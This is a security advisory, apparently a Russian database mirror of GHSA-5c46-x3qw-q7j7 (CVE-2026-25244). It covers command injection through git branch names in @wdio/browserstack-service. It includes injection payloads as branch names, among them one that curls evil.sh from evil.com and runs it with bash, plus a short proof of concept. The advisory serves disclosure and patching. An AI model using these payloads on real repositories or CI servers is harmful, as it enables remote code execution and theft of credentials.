GHSA-5c46-x3qw-q7j7

Опубликовано: 11 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 9.8

Описание

WebdriverIO BrowserStack Service has a Command Injection issue

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

Attacker creates a malicious git repository with a branch name containing command injection payload
Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
When getGitMetadataForAISelection() executes, it extracts the malicious branch name
Branch name is interpolated into shell commands without sanitization
Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

// wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACK_USERNAME, key: process.env.BROWSERSTACK_ACCESS_KEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config }

Step 3: Run Tests

npm run wdio

Step 4: Verify RCE

# Check if file was created (proof of RCE) ls -la /tmp/pwned.txt

Impact

Remote Code Execution on CI/CD servers or developer machines
Information Disclosure (environment variables, secrets, credentials)
Data Exfiltration (source code, SSH keys, configuration files)
System Compromise (backdoor installation, lateral movement)
Supply Chain Attack (modify build artifacts)

Ссылки

Пакеты

Наименование

@wdio/browserstack-service

npm

Затронутые версииВерсия исправления

<= 9.23.2

9.24.0

EPSS

Процентиль: 85%

0.02799

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2026-25244

Дефекты

CWE-78

Связанные уязвимости

CVE-2026-25244

CVSS3: 8

redhat

3 месяца назад

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

CVE-2026-25244

CVSS3: 9.8

nvd

3 месяца назад

BDU:2026-07092

CVSS3: 9.8

fstec

3 месяца назад

Уязвимость фреймворка WebdriverIO, связанная с непринятием мер по нейтрализации специальных элементов, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 85%

0.02799

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2026-25244

Дефекты

CWE-78